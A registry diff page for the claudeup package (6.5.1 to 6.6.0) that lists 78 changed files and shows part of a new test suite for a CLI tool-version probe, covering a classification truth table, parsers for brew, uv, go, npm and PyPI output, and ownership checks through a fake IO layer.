claudeup 6.5.1 → 6.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (78) hide show
  1. package/package.json +4 -4
  2. package/src/__tests__/active-closure.test.ts +184 -0
  3. package/src/__tests__/blackbox-active-closure.test.ts +119 -0
  4. package/src/__tests__/blackbox-convergence.test.ts +334 -0
  5. package/src/__tests__/blackbox-parity.test.ts +684 -0
  6. package/src/__tests__/blackbox-plugin-state.test.ts +523 -0
  7. package/src/__tests__/blackbox-tool-state.test.ts +669 -0
  8. package/src/__tests__/cli-apply-seams.test.ts +2 -0
  9. package/src/__tests__/cli-tool-commands.test.ts +1 -1
  10. package/src/__tests__/cli-tools-adapter.test.ts +294 -0
  11. package/src/__tests__/cli-update-view.test.ts +142 -2
  12. package/src/__tests__/content-drift.test.ts +60 -0
  13. package/src/__tests__/enabled-not-installed.test.ts +1 -2
  14. package/src/__tests__/fixtures/tool-probe/brew-list-versions-tmux.txt +2 -0
  15. package/src/__tests__/fixtures/tool-probe/brew-outdated-behind-homebrew-spec.txt +29 -0
  16. package/src/__tests__/fixtures/tool-probe/brew-outdated-tmux-current.txt +7 -0
  17. package/src/__tests__/fixtures/tool-probe/brew-outdated-unknown-formula.txt +6 -0
  18. package/src/__tests__/fixtures/tool-probe/go-version-m-tmux-mcp.txt +27 -0
  19. package/src/__tests__/fixtures/tool-probe/npm-dist-tags-missing-scoped.txt +4 -0
  20. package/src/__tests__/fixtures/tool-probe/npm-dist-tags-openai-codex.txt +4 -0
  21. package/src/__tests__/fixtures/tool-probe/pypi-cowsay.txt +3 -0
  22. package/src/__tests__/fixtures/tool-probe/uv-receipt-browser-use.toml +10 -0
  23. package/src/__tests__/fixtures/tool-probe/uv-receipt-cowsay-git.toml +8 -0
  24. package/src/__tests__/fixtures/tool-probe/uv-receipt-cowsay-pinned.toml +8 -0
  25. package/src/__tests__/fixtures/tool-probe/uv-receipt-graphifyy.toml +7 -0
  26. package/src/__tests__/fixtures/tool-probe/uv-receipt-mcp.toml +6 -0
  27. package/src/__tests__/fixtures/tool-probe/uv-receipt-serena-agent.toml +9 -0
  28. package/src/__tests__/fixtures/tool-probe/uv-tool-list-outdated-pinned.txt +5 -0
  29. package/src/__tests__/fixtures/tool-probe/uv-tool-list-outdated.txt +11 -0
  30. package/src/__tests__/fixtures/tool-probe/uv-tool-list.txt +22 -0
  31. package/src/__tests__/{gitignore-prerun.test.ts → gitignore-check.test.ts} +8 -6
  32. package/src/__tests__/plugin-cli-argv.test.ts +1 -1
  33. package/src/__tests__/plugin-row-text.test.ts +336 -0
  34. package/src/__tests__/scope-action.test.ts +69 -19
  35. package/src/__tests__/shell-script-callers.test.ts +8 -8
  36. package/src/__tests__/tool-probe.test.ts +1400 -0
  37. package/src/__tests__/update-apply.test.ts +283 -1
  38. package/src/__tests__/update-plan.test.ts +773 -31
  39. package/src/__tests__/version-unknown-state.test.ts +388 -0
  40. package/src/cli/router.ts +0 -5
  41. package/src/cli/update-view.ts +92 -12
  42. package/src/cli/update.ts +114 -38
  43. package/src/services/active-closure.ts +117 -0
  44. package/src/services/catalog-cache-store.ts +6 -2
  45. package/src/services/claude-settings.ts +1 -173
  46. package/src/services/{gitignore-prerun.ts → gitignore-check.ts} +14 -10
  47. package/src/services/gitignore-fixer.ts +1 -1
  48. package/src/services/marketplace-refresh.ts +30 -0
  49. package/src/services/plugin-manager.ts +200 -283
  50. package/src/services/resolver.ts +7 -2
  51. package/src/services/tool-probe.ts +1637 -0
  52. package/src/services/toolchain.ts +97 -0
  53. package/src/services/update-engine.ts +220 -32
  54. package/src/services/update-plan.ts +640 -160
  55. package/src/services/version-snapshot.ts +1 -1
  56. package/src/types/bun.d.ts +6 -0
  57. package/src/ui/App.tsx +2 -27
  58. package/src/ui/adapters/cliToolsAdapter.ts +176 -0
  59. package/src/ui/adapters/pluginsAdapter.ts +57 -0
  60. package/src/ui/components/modals/ModalContainer.tsx +0 -26
  61. package/src/ui/hooks/index.ts +0 -1
  62. package/src/ui/hooks/useGitignoreModal.ts +2 -3
  63. package/src/ui/renderers/cliToolRenderers.tsx +108 -67
  64. package/src/ui/renderers/pluginRenderers.tsx +157 -98
  65. package/src/ui/renderers/pluginRowText.ts +70 -0
  66. package/src/ui/renderers/pluginStatusText.ts +56 -0
  67. package/src/ui/screens/CliToolsScreen.tsx +154 -280
  68. package/src/ui/screens/PluginsScreen.tsx +156 -140
  69. package/src/ui/state/types.ts +0 -7
  70. package/src/__tests__/dual-write-prevention.test.ts +0 -380
  71. package/src/__tests__/gap-fill-versions.test.ts +0 -389
  72. package/src/__tests__/plugin-version-check.test.ts +0 -762
  73. package/src/cli/claude.ts +0 -21
  74. package/src/prerunner/index.ts +0 -500
  75. package/src/services/plugin-version-check.ts +0 -360
  76. package/src/services/update-cache.ts +0 -78
  77. package/src/ui/components/modals/VersionMismatchModal.tsx +0 -138
  78. package/src/ui/hooks/useMismatchModal.ts +0 -89
@@ -0,0 +1,1400 @@
1
+ /**
2
+ * The tool probe: the ONE place a CLI tool's state is read and decided.
3
+ *
4
+ * Three layers, tested separately:
5
+ * - `classifyTool` — a pure truth table (architecture §4.3), every row.
6
+ * - the parsers — against REAL captured output only, stored under
7
+ * `fixtures/tool-probe/` with the capture command in each file's header.
8
+ * - `probeTools` — through a scripted fake `ToolProbeIO`. No `mock.module`:
9
+ * CI runs each file in its own process precisely because module mocks bleed.
10
+ *
11
+ * The defect this replaces: `claudeup update` planned every present, unpinned
12
+ * tool as an upgrade on every run. Measured on the reporter's machine, tmux,
13
+ * browser-use and mcp were all current (brew / uv said so) and were "upgraded"
14
+ * every time.
15
+ */
16
+
17
+ import { describe, expect, test } from "bun:test";
18
+ import { readFileSync } from "node:fs";
19
+ import path from "node:path";
20
+ import type { CliTool } from "../data/cli-tools.js";
21
+ import {
22
+ type ExecResult,
23
+ type FetchJsonResult,
24
+ type ToolFacts,
25
+ type ToolProbeIO,
26
+ brewKegVersion,
27
+ classifyTool,
28
+ compareToolVersions,
29
+ detectInstallMethods,
30
+ isInside,
31
+ normalizePythonPackageName,
32
+ parseBrewListVersions,
33
+ parseBrewOutdatedJson,
34
+ parseGoVersionM,
35
+ parsePipxListJson,
36
+ parseUvReceipt,
37
+ parseUvToolList,
38
+ parseVersionToken,
39
+ probeTool,
40
+ probeTools,
41
+ specForCatalogTool,
42
+ versionFromNpmDistTags,
43
+ versionFromPypiJson,
44
+ } from "../services/tool-probe.js";
45
+ import {
46
+ PYTHON_CLI_INSTALLERS,
47
+ type PythonCliInstaller,
48
+ binPinCommand,
49
+ } from "../services/toolchain.js";
50
+ import { planBinUpdates } from "../services/update-plan.js";
51
+ import type { BinRequirement, ResolvedBin } from "../types/index.js";
52
+
53
+ // ── fixtures ────────────────────────────────────────────────────────────────
54
+
55
+ const FIXTURES = path.join(import.meta.dir, "fixtures", "tool-probe");
56
+
57
+ /** A captured file with its `#` provenance lines removed. */
58
+ function fixture(name: string): string {
59
+ return readFileSync(path.join(FIXTURES, name), "utf8")
60
+ .split("\n")
61
+ .filter((l) => !l.startsWith("#"))
62
+ .join("\n");
63
+ }
64
+
65
+ function facts(over: Partial<ToolFacts> = {}): ToolFacts {
66
+ return {
67
+ name: "tool",
68
+ present: true,
69
+ resolvedPath: "/usr/local/bin/tool",
70
+ installed: "1.0.0",
71
+ latest: null,
72
+ behind: null,
73
+ managed: true,
74
+ sources: [],
75
+ ...over,
76
+ };
77
+ }
78
+
79
+ const spec = (over: Partial<BinRequirement> = {}): BinRequirement => ({
80
+ name: "tool",
81
+ via: "npm",
82
+ ...over,
83
+ });
84
+
85
+ // ── fake IO ─────────────────────────────────────────────────────────────────
86
+
87
+ type ExecHandler =
88
+ | Partial<ExecResult>
89
+ | ((
90
+ args: readonly string[],
91
+ ) => Promise<Partial<ExecResult>> | Partial<ExecResult>);
92
+
93
+ interface FakeSetup {
94
+ /** key: "cmd arg1 arg2" */
95
+ exec?: Record<string, ExecHandler>;
96
+ fetch?: Record<string, FetchJsonResult | (() => Promise<FetchJsonResult>)>;
97
+ /** file → text; readJson parses it. */
98
+ files?: Record<string, string>;
99
+ /** realpath table. A path not listed does not exist. */
100
+ real?: Record<string, string>;
101
+ links?: Record<string, string>;
102
+ /** name → first executable AS FOUND ON PATH. */
103
+ onPath?: Record<string, string>;
104
+ env?: Record<string, string>;
105
+ }
106
+
107
+ function fakeIO(setup: FakeSetup): ToolProbeIO & {
108
+ calls: string[];
109
+ fetches: string[];
110
+ inFlight: { now: number; max: number };
111
+ } {
112
+ const calls: string[] = [];
113
+ const fetches: string[] = [];
114
+ const inFlight = { now: 0, max: 0 };
115
+ return {
116
+ calls,
117
+ fetches,
118
+ inFlight,
119
+ exec: async (command) => {
120
+ const key = [command.cmd, ...command.args].join(" ");
121
+ calls.push(key);
122
+ const h = setup.exec?.[key];
123
+ if (h === undefined) {
124
+ return {
125
+ code: null,
126
+ stdout: "",
127
+ stderr: "",
128
+ timedOut: false,
129
+ missing: true,
130
+ };
131
+ }
132
+ inFlight.now++;
133
+ inFlight.max = Math.max(inFlight.max, inFlight.now);
134
+ try {
135
+ const r = typeof h === "function" ? await h(command.args) : h;
136
+ return {
137
+ code: 0,
138
+ stdout: "",
139
+ stderr: "",
140
+ timedOut: false,
141
+ missing: false,
142
+ ...r,
143
+ };
144
+ } finally {
145
+ inFlight.now--;
146
+ }
147
+ },
148
+ fetchJson: async (url) => {
149
+ fetches.push(url);
150
+ const r = setup.fetch?.[url];
151
+ if (!r) return { ok: false, reason: "returned 404" };
152
+ return typeof r === "function" ? r() : r;
153
+ },
154
+ readJson: async (file) => {
155
+ const t = setup.files?.[file];
156
+ if (t === undefined) return null;
157
+ try {
158
+ return JSON.parse(t);
159
+ } catch {
160
+ return null;
161
+ }
162
+ },
163
+ readText: async (file) => setup.files?.[file] ?? null,
164
+ readlink: async (file) => setup.links?.[file] ?? null,
165
+ realpath: async (file) => setup.real?.[file] ?? null,
166
+ resolveExecutable: async (name) => setup.onPath?.[name] ?? null,
167
+ env: setup.env ?? {},
168
+ homedir: "/Users/j",
169
+ };
170
+ }
171
+
172
+ const sleep = (ms: number) => new Promise((r) => setTimeout(r, ms));
173
+ const never = () => new Promise<never>(() => {});
174
+
175
+ // ── classifyTool: the truth table ───────────────────────────────────────────
176
+
177
+ describe("classifyTool — every rule of §4.3, in order", () => {
178
+ test("1. not on PATH → install, target = pin ?? latest", () => {
179
+ expect(
180
+ classifyTool(spec(), facts({ present: false, latest: "2.0.0" })),
181
+ ).toMatchObject({ state: "install", reason: "absent", target: "2.0.0" });
182
+ expect(
183
+ classifyTool(
184
+ spec({ version: "1.5.0" }),
185
+ facts({ present: false, latest: "2.0.0" }),
186
+ ),
187
+ ).toMatchObject({ state: "install", target: "1.5.0", pin: "1.5.0" });
188
+ });
189
+
190
+ test("2. present, version unreadable → unknown, with the failure in the note", () => {
191
+ const s = classifyTool(
192
+ spec(),
193
+ facts({ installed: null, failure: "timed out after 8s" }),
194
+ );
195
+ expect(s).toMatchObject({ state: "unknown", reason: "version-unreadable" });
196
+ expect(s.note).toContain("timed out after 8s");
197
+ });
198
+
199
+ test("3. pinned and at the pin → current / at-pin (v-prefix tolerant)", () => {
200
+ expect(
201
+ classifyTool(
202
+ spec({ via: "go", version: "v2.0.0" }),
203
+ facts({ installed: "v2.0.0" }),
204
+ ),
205
+ ).toMatchObject({ state: "current", reason: "at-pin" });
206
+ expect(
207
+ classifyTool(spec({ version: "2.0.0" }), facts({ installed: "v2.0.0" }))
208
+ .reason,
209
+ ).toBe("at-pin");
210
+ });
211
+
212
+ test("4. pinned and unorderable against the pin → unknown", () => {
213
+ expect(
214
+ classifyTool(spec({ version: "2.0.0" }), facts({ installed: "3.7c" })),
215
+ ).toMatchObject({ state: "unknown", reason: "unorderable" });
216
+ });
217
+
218
+ test("5. pinned and AHEAD of the pin → unknown, never a downgrade", () => {
219
+ const s = classifyTool(
220
+ spec({ version: "2.0.0" }),
221
+ facts({ installed: "2.1.0" }),
222
+ );
223
+ expect(s).toMatchObject({ state: "unknown", reason: "ahead-of-pin" });
224
+ expect(s.note).toBe(
225
+ "pinned 2.0.0; installed 2.1.0 is newer and claudeup never downgrades",
226
+ );
227
+ });
228
+
229
+ test("6. not managed → unknown, naming both paths", () => {
230
+ const s = classifyTool(
231
+ spec({ name: "crush" }),
232
+ facts({
233
+ managed: false,
234
+ behind: true,
235
+ resolvedPath:
236
+ "/Users/j/.nvm/versions/node/v24.14.0/lib/node_modules/@charmland/crush/run-crush.js",
237
+ owner: "npm (root /Users/j/.local/lib/node_modules)",
238
+ }),
239
+ );
240
+ expect(s).toMatchObject({ state: "unknown", reason: "not-managed" });
241
+ expect(s.note).toContain("/Users/j/.nvm/versions/node/v24.14.0");
242
+ expect(s.note).toContain("npm (root /Users/j/.local/lib/node_modules)");
243
+ expect(s.note).toContain("second copy");
244
+ });
245
+
246
+ test("6. managed === null (owner undeterminable) is also a veto", () => {
247
+ expect(
248
+ classifyTool(spec(), facts({ managed: null, behind: true })).reason,
249
+ ).toBe("not-managed");
250
+ });
251
+
252
+ test("7. held back → unknown, with the hold as the note", () => {
253
+ expect(
254
+ classifyTool(
255
+ spec({ via: "brew" }),
256
+ facts({ behind: true, heldBack: "held by brew pin" }),
257
+ ),
258
+ ).toMatchObject({
259
+ state: "unknown",
260
+ reason: "held-back",
261
+ note: "held by brew pin",
262
+ });
263
+ });
264
+
265
+ test("8. pinned below the pin through brew → unknown: brew cannot install a pin", () => {
266
+ expect(
267
+ classifyTool(
268
+ spec({ via: "brew", version: "3.8" }),
269
+ facts({ installed: "3.7" }),
270
+ ),
271
+ ).toMatchObject({ state: "unknown", reason: "pin-not-installable" });
272
+ });
273
+
274
+ test("9. pinned below the pin → upgrade to the pin", () => {
275
+ expect(
276
+ classifyTool(
277
+ spec({ via: "bun", version: "1.0.0" }),
278
+ facts({ installed: "0.9.0" }),
279
+ ),
280
+ ).toMatchObject({
281
+ state: "upgrade",
282
+ reason: "behind-pin",
283
+ target: "1.0.0",
284
+ });
285
+ });
286
+
287
+ test("10. the owner says behind → upgrade to latest", () => {
288
+ expect(
289
+ classifyTool(spec(), facts({ behind: true, latest: "0.26.0" })),
290
+ ).toMatchObject({ state: "upgrade", reason: "behind", target: "0.26.0" });
291
+ });
292
+
293
+ test("11. the owner says NOT behind → current, even with no latest", () => {
294
+ expect(classifyTool(spec(), facts({ behind: false }))).toMatchObject({
295
+ state: "current",
296
+ reason: "up-to-date",
297
+ target: null,
298
+ });
299
+ });
300
+
301
+ test("12. no verdict and no latest → unknown / latest-unavailable", () => {
302
+ const s = classifyTool(
303
+ spec(),
304
+ facts({ failure: "npm registry returned 404" }),
305
+ );
306
+ expect(s).toMatchObject({ state: "unknown", reason: "latest-unavailable" });
307
+ expect(s.note).toContain("returned 404");
308
+ });
309
+
310
+ test("13. own comparison: behind, equal, ahead, unorderable", () => {
311
+ expect(
312
+ classifyTool(spec(), facts({ installed: "1.0.0", latest: "1.1.0" })),
313
+ ).toMatchObject({ state: "upgrade", reason: "behind", target: "1.1.0" });
314
+ expect(
315
+ classifyTool(spec(), facts({ installed: "1.1.0", latest: "1.1.0" }))
316
+ .state,
317
+ ).toBe("current");
318
+ expect(
319
+ classifyTool(spec(), facts({ installed: "1.2.0", latest: "1.1.0" }))
320
+ .state,
321
+ ).toBe("current");
322
+ expect(
323
+ classifyTool(spec(), facts({ installed: "abc", latest: "1.1.0" })),
324
+ ).toMatchObject({ state: "unknown", reason: "unorderable" });
325
+ });
326
+
327
+ test("M3: pinned ∧ foreign ∧ behind the pin → not-managed, never an upgrade", () => {
328
+ expect(
329
+ classifyTool(
330
+ spec({ version: "2.0.0" }),
331
+ facts({ installed: "1.0.0", managed: false }),
332
+ ),
333
+ ).toMatchObject({ state: "unknown", reason: "not-managed" });
334
+ });
335
+
336
+ test("M3: pinned ∧ foreign ∧ at the pin → at-pin (no work, ownership irrelevant)", () => {
337
+ expect(
338
+ classifyTool(
339
+ spec({ version: "2.0.0" }),
340
+ facts({ installed: "2.0.0", managed: false }),
341
+ ),
342
+ ).toMatchObject({ state: "current", reason: "at-pin" });
343
+ });
344
+
345
+ test("a 'latest' version string is not a pin", () => {
346
+ expect(
347
+ classifyTool(spec({ version: "latest" }), facts({ behind: false }))
348
+ .reason,
349
+ ).toBe("up-to-date");
350
+ });
351
+
352
+ test("every non-current, non-install state carries a note", () => {
353
+ const cases: Array<[Partial<BinRequirement>, Partial<ToolFacts>]> = [
354
+ [{}, { installed: null }],
355
+ [{ version: "2" }, { installed: "x" }],
356
+ [{ version: "2.0.0" }, { installed: "3.0.0" }],
357
+ [{}, { managed: false }],
358
+ [{}, { heldBack: "held by brew pin" }],
359
+ [{ via: "brew", version: "9.0.0" }, { installed: "1.0.0" }],
360
+ [{ version: "9.0.0" }, { installed: "1.0.0" }],
361
+ [{}, { behind: true }],
362
+ [{}, {}],
363
+ [{}, { latest: "zzz", installed: "1.0.0" }],
364
+ ];
365
+ for (const [s, f] of cases) {
366
+ const status = classifyTool(spec(s), facts(f));
367
+ expect(["unknown", "upgrade"]).toContain(status.state);
368
+ expect(status.note?.length ?? 0).toBeGreaterThan(0);
369
+ }
370
+ });
371
+ });
372
+
373
+ describe("compareToolVersions — stricter than the plugin comparator", () => {
374
+ test("semver ordering, with a v prefix and 1–2 part padding", () => {
375
+ expect(compareToolVersions("v0.13.10", "0.13.10")).toBe(0);
376
+ expect(compareToolVersions("1.2", "1.2.0")).toBe(0);
377
+ expect(compareToolVersions("1", "1.0.1")).toBe(-1);
378
+ expect(compareToolVersions("0.9.58", "0.9.50")).toBe(1);
379
+ });
380
+
381
+ test("a prerelease is BEFORE its release (F7: the screen read them as equal)", () => {
382
+ expect(compareToolVersions("1.2.3-beta", "1.2.3")).toBe(-1);
383
+ expect(compareToolVersions("0.155.0-alpha.3.9", "0.154.0")).toBe(1);
384
+ });
385
+
386
+ test("free-form strings: equal is 0, different is null — never 'behind'", () => {
387
+ expect(compareToolVersions("3.7c", "3.7c")).toBe(0);
388
+ expect(compareToolVersions("3.7c", "3.7d")).toBeNull();
389
+ expect(compareToolVersions("(devel)", "v2.0.0")).toBeNull();
390
+ });
391
+ });
392
+
393
+ // ── parsers: real captured output ───────────────────────────────────────────
394
+
395
+ describe("parsers — against captured real output", () => {
396
+ test("brew outdated: tmux, current (the baseline)", () => {
397
+ expect(
398
+ parseBrewOutdatedJson(fixture("brew-outdated-tmux-current.txt"), "tmux"),
399
+ ).toEqual({ behind: false, installed: null, latest: null, pinned: false });
400
+ });
401
+
402
+ test("brew outdated: a behind formula (Homebrew's own spec output)", () => {
403
+ expect(
404
+ parseBrewOutdatedJson(
405
+ fixture("brew-outdated-behind-homebrew-spec.txt"),
406
+ "testball",
407
+ ),
408
+ ).toEqual({
409
+ behind: true,
410
+ installed: "0.0.1",
411
+ latest: "0.1",
412
+ pinned: false,
413
+ });
414
+ });
415
+
416
+ test("brew outdated: a tap formula matches by its short name", () => {
417
+ const text = fixture("brew-outdated-behind-homebrew-spec.txt").replace(
418
+ '"testball"',
419
+ '"user/tap/testball"',
420
+ );
421
+ expect(parseBrewOutdatedJson(text, "testball")?.behind).toBe(true);
422
+ });
423
+
424
+ test("brew outdated: an error body (unknown formula) is unparseable, not current", () => {
425
+ expect(
426
+ parseBrewOutdatedJson(
427
+ fixture("brew-outdated-unknown-formula.txt"),
428
+ "cowsay-not-a-formula-xyz",
429
+ ),
430
+ ).toBeNull();
431
+ expect(parseBrewOutdatedJson("", "tmux")).toBeNull();
432
+ });
433
+
434
+ test("brew list --versions and the keg version", () => {
435
+ expect(parseBrewListVersions(fixture("brew-list-versions-tmux.txt"))).toBe(
436
+ "3.7c",
437
+ );
438
+ expect(parseBrewListVersions("tmux 3.7b 3.7c\n")).toBe("3.7c");
439
+ expect(parseBrewListVersions("")).toBeNull();
440
+ expect(
441
+ brewKegVersion(
442
+ "/opt/homebrew/Cellar/tmux/3.7c/bin/tmux",
443
+ "/opt/homebrew/Cellar",
444
+ "tmux",
445
+ ),
446
+ ).toBe("3.7c");
447
+ expect(
448
+ brewKegVersion(
449
+ "/opt/homebrew/Cellar/gemini-cli/0.46.0/libexec/lib/node_modules/@google/gemini-cli/bundle/gemini.js",
450
+ "/opt/homebrew/Cellar",
451
+ "gemini-cli",
452
+ ),
453
+ ).toBe("0.46.0");
454
+ expect(
455
+ brewKegVersion(
456
+ "/opt/homebrew/Cellar/tmux-extra/1/bin/x",
457
+ "/opt/homebrew/Cellar",
458
+ "tmux",
459
+ ),
460
+ ).toBeNull();
461
+ });
462
+
463
+ test("uv tool list: packages, not executables; normalised keys", () => {
464
+ const list = parseUvToolList(fixture("uv-tool-list.txt"));
465
+ expect([...list.keys()]).toEqual([
466
+ "browser-use",
467
+ "claude-swap",
468
+ "graphifyy",
469
+ "mcp",
470
+ "mistral-vibe",
471
+ "serena-agent",
472
+ ]);
473
+ expect(list.get("browser-use")).toEqual({
474
+ installed: "0.13.10",
475
+ latest: null,
476
+ });
477
+ });
478
+
479
+ test("uv tool list --outdated: the baseline's three behind tools, and nothing else", () => {
480
+ const out = parseUvToolList(fixture("uv-tool-list-outdated.txt"));
481
+ expect(out.get("claude-swap")).toEqual({
482
+ installed: "0.24.1",
483
+ latest: "0.26.0",
484
+ });
485
+ expect(out.get("mistral-vibe")?.latest).toBe("2.25.3");
486
+ expect(out.has("browser-use")).toBe(false);
487
+ expect(out.has("mcp")).toBe(false);
488
+ expect(out.size).toBe(3);
489
+ });
490
+
491
+ test("uv lists a ==-constrained tool as outdated too (scratch capture)", () => {
492
+ expect(
493
+ parseUvToolList(fixture("uv-tool-list-outdated-pinned.txt")).get(
494
+ "cowsay",
495
+ ),
496
+ ).toEqual({ installed: "6.0", latest: "6.1" });
497
+ });
498
+
499
+ test("an unrecognised uv format yields an empty map, never a verdict", () => {
500
+ expect(parseUvToolList("Something new entirely\n").size).toBe(0);
501
+ });
502
+
503
+ test("uv receipts: every real shape on the machine is 'index'", () => {
504
+ expect(
505
+ parseUvReceipt(fixture("uv-receipt-browser-use.toml"), "browser-use"),
506
+ ).toBe("index");
507
+ expect(parseUvReceipt(fixture("uv-receipt-mcp.toml"), "mcp")).toBe("index");
508
+ // extras do not constrain the version
509
+ expect(
510
+ parseUvReceipt(fixture("uv-receipt-graphifyy.toml"), "graphifyy"),
511
+ ).toBe("index");
512
+ // a tool-level `python = ` key is not a requirement key
513
+ expect(
514
+ parseUvReceipt(fixture("uv-receipt-serena-agent.toml"), "serena-agent"),
515
+ ).toBe("index");
516
+ });
517
+
518
+ test("uv receipts: a specifier is constrained, git is git", () => {
519
+ expect(
520
+ parseUvReceipt(fixture("uv-receipt-cowsay-pinned.toml"), "cowsay"),
521
+ ).toBe("index-constrained");
522
+ expect(
523
+ parseUvReceipt(fixture("uv-receipt-cowsay-git.toml"), "cowsay"),
524
+ ).toBe("git");
525
+ });
526
+
527
+ test("uv receipts: unparseable or absent package → null", () => {
528
+ expect(parseUvReceipt("not = [toml", "x")).toBeNull();
529
+ expect(parseUvReceipt(fixture("uv-receipt-mcp.toml"), "other")).toBeNull();
530
+ });
531
+
532
+ test("go version -m: the module and its version", () => {
533
+ expect(parseGoVersionM(fixture("go-version-m-tmux-mcp.txt"))).toEqual({
534
+ module: "github.com/MadAppGang/tmux-mcp/v2",
535
+ version: "v2.0.0",
536
+ path: "github.com/MadAppGang/tmux-mcp/v2",
537
+ });
538
+ expect(parseGoVersionM("not a go binary")).toBeNull();
539
+ });
540
+
541
+ test("npm dist-tags (A3 verified: scoped %2F answers) and PyPI", () => {
542
+ expect(
543
+ versionFromNpmDistTags(
544
+ JSON.parse(fixture("npm-dist-tags-openai-codex.txt")),
545
+ ),
546
+ ).toBe("0.154.0");
547
+ expect(
548
+ versionFromNpmDistTags(
549
+ JSON.parse(fixture("npm-dist-tags-missing-scoped.txt")),
550
+ ),
551
+ ).toBeUndefined();
552
+ expect(versionFromPypiJson(JSON.parse(fixture("pypi-cowsay.txt")))).toBe(
553
+ "6.1",
554
+ );
555
+ });
556
+
557
+ test("pipx list --json (shape per pipx's documented metadata)", () => {
558
+ const m = parsePipxListJson({
559
+ venvs: {
560
+ "Aider-Chat": {
561
+ metadata: {
562
+ main_package: { package: "aider-chat", package_version: "0.86.1" },
563
+ },
564
+ },
565
+ },
566
+ });
567
+ expect(m.get("aider-chat")).toBe("0.86.1");
568
+ expect(parsePipxListJson(null).size).toBe(0);
569
+ });
570
+
571
+ test("parseVersionToken: the first version-like token", () => {
572
+ expect(parseVersionToken("tmux 3.7c")).toBe("3.7c");
573
+ expect(parseVersionToken("2.1.268 (Claude Code)")).toBe("2.1.268");
574
+ expect(parseVersionToken("tmux-mcp v2.0.0\n")).toBe("2.0.0");
575
+ expect(parseVersionToken("codex-cli 0.153.2")).toBe("0.153.2");
576
+ expect(parseVersionToken("built 2026, 3 files")).toBeNull();
577
+ });
578
+
579
+ test("PEP 503 normalisation", () => {
580
+ expect(normalizePythonPackageName("Browser_Use")).toBe("browser-use");
581
+ expect(normalizePythonPackageName("a.-_b")).toBe("a-b");
582
+ });
583
+ });
584
+
585
+ describe("isInside — containment in the package's OWN directory", () => {
586
+ test("the ~/.local prefix trap: native claude is inside npm's prefix, not its package dir", () => {
587
+ const native = "/Users/j/.local/share/claude/versions/2.1.268";
588
+ // npm prefix -g is ~/.local on the reporter's machine — a prefix test
589
+ // would call the native install npm-managed.
590
+ expect(isInside(native, "/Users/j/.local")).toBe(true);
591
+ expect(
592
+ isInside(
593
+ native,
594
+ "/Users/j/.local/lib/node_modules/@anthropic-ai/claude-code",
595
+ ),
596
+ ).toBe(false);
597
+ });
598
+
599
+ test("a sibling that shares a name prefix is not inside", () => {
600
+ expect(isInside("/a/foo-bar/x", "/a/foo")).toBe(false);
601
+ expect(isInside("/a/foo/x", "/a/foo/")).toBe(true);
602
+ });
603
+ });
604
+
605
+ // ── ownership through the probe, with a fake IO ─────────────────────────────
606
+
607
+ describe("probeTool — ownership decides managed", () => {
608
+ test("native claude is NOT npm-owned: not-managed, never an upgrade", async () => {
609
+ const io = fakeIO({
610
+ onPath: { claude: "/Users/j/.local/bin/claude" },
611
+ real: {
612
+ "/Users/j/.local/bin/claude":
613
+ "/Users/j/.local/share/claude/versions/2.1.268",
614
+ },
615
+ exec: {
616
+ "npm root -g": { stdout: "/Users/j/.local/lib/node_modules\n" },
617
+ "claude --version": { stdout: "2.1.268 (Claude Code)\n" },
618
+ },
619
+ });
620
+ const s = spec({
621
+ name: "claude",
622
+ via: "npm",
623
+ package: "@anthropic-ai/claude-code",
624
+ check: "claude --version",
625
+ });
626
+ // The read-back path's opt-in. Planning never runs a check command —
627
+ // see "a check command is never run while planning" below.
628
+ const f = await probeTool(s, io, { allowCheckCommand: true });
629
+ expect(f).toMatchObject({
630
+ present: true,
631
+ managed: false,
632
+ installed: "2.1.268",
633
+ });
634
+ expect(classifyTool(s, f).reason).toBe("not-managed");
635
+ expect(io.fetches).toEqual([]);
636
+ });
637
+
638
+ test("bun-owned codex: version from its package.json, latest from dist-tags", async () => {
639
+ const pkgDir = "/Users/j/.bun/install/global/node_modules/@openai/codex";
640
+ const io = fakeIO({
641
+ onPath: { codex: "/Users/j/.bun/bin/codex" },
642
+ real: {
643
+ "/Users/j/.bun/bin/codex": `${pkgDir}/bin/codex.js`,
644
+ [pkgDir]: pkgDir,
645
+ },
646
+ files: { [`${pkgDir}/package.json`]: '{"version":"0.153.2"}' },
647
+ fetch: {
648
+ "https://registry.npmjs.org/-/package/@openai%2Fcodex/dist-tags": {
649
+ ok: true,
650
+ body: JSON.parse(fixture("npm-dist-tags-openai-codex.txt")),
651
+ },
652
+ },
653
+ });
654
+ const s = spec({ name: "codex", via: "bun", package: "@openai/codex" });
655
+ const f = await probeTool(s, io);
656
+ expect(f).toMatchObject({
657
+ managed: true,
658
+ installed: "0.153.2",
659
+ latest: "0.154.0",
660
+ });
661
+ expect(classifyTool(s, f)).toMatchObject({
662
+ state: "upgrade",
663
+ target: "0.154.0",
664
+ });
665
+ // Nothing ran as a subprocess: bun ownership is a path, and the registry a GET.
666
+ expect(io.calls).toEqual([]);
667
+ });
668
+
669
+ test("brew-owned gemini-cli: keg version, brew's own verdict", async () => {
670
+ const io = fakeIO({
671
+ env: { HOMEBREW_PREFIX: "/opt/homebrew" },
672
+ onPath: { gemini: "/opt/homebrew/bin/gemini" },
673
+ real: {
674
+ "/opt/homebrew/bin/gemini":
675
+ "/opt/homebrew/Cellar/gemini-cli/0.46.0/libexec/lib/node_modules/@google/gemini-cli/bundle/gemini.js",
676
+ "/opt/homebrew/Cellar": "/opt/homebrew/Cellar",
677
+ },
678
+ exec: {
679
+ "brew outdated --json=v2 gemini-cli": {
680
+ stdout: fixture("brew-outdated-tmux-current.txt"),
681
+ },
682
+ },
683
+ });
684
+ const s = spec({ name: "gemini", via: "brew", formula: "gemini-cli" });
685
+ const f = await probeTool(s, io);
686
+ expect(f).toMatchObject({
687
+ managed: true,
688
+ installed: "0.46.0",
689
+ behind: false,
690
+ });
691
+ expect(classifyTool(s, f).state).toBe("current");
692
+ });
693
+
694
+ test("V5 baseline: tmux (brew, current) is CURRENT, not an upgrade", async () => {
695
+ const io = fakeIO({
696
+ env: { HOMEBREW_PREFIX: "/opt/homebrew" },
697
+ onPath: { tmux: "/opt/homebrew/bin/tmux" },
698
+ real: {
699
+ "/opt/homebrew/bin/tmux": "/opt/homebrew/Cellar/tmux/3.7c/bin/tmux",
700
+ "/opt/homebrew/Cellar": "/opt/homebrew/Cellar",
701
+ },
702
+ exec: {
703
